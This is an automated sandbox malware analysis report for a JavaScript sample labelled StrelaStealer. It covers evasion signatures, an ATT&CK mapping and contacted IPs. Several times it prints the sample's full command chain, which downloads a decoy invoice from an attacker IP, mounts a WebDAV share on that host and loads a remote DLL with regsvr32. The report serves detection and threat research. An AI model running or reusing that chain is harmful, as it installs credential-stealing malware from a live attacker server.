Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3981			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5893			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 3981 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 5893 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.1350034902.000002B93B1C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu#;
Source: net.exe, 00000008.00000002.1350034902.000002B93B232000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2589848499.00000261EFA5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2588291761.00000261EA22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.1301480792.00000267C2643000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2784527361260704938.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/g=	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000008.00000002.1350034902.000002B93B1C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1299384177.00000267C262D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1359651707.00000261EF780000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2589685705.00000261EFA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1350034902.000002B93B1FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1350034902.000002B93B1C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1350034902.000002B93B21F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/g=	net.exe, 00000008.00000002.1350034902.000002B93B1FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589036
Start date and time:	2025-01-11 08:42:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2784527361260704938.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/63@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 23.209.209.135, 184.28.90.27, 84.201.210.23, 2.16.168.105, 2.16.168.107, 2.22.50.144, 2.22.50.131, 23.200.0.21, 23.200.0.33, 192.168.2.7, 13.107.246.45, 23.47.168.24, 52.149.20.212, 13.85.23.206, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2784527361260704938.js

Simulations

Behavior and APIs

Time	Type	Description
02:43:57	API Interceptor	22x Sleep call for process: powershell.exe modified
02:44:01	API Interceptor	1x Sleep call for process: net.exe modified
02:44:02	API Interceptor	2x Sleep call for process: svchost.exe modified
02:44:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

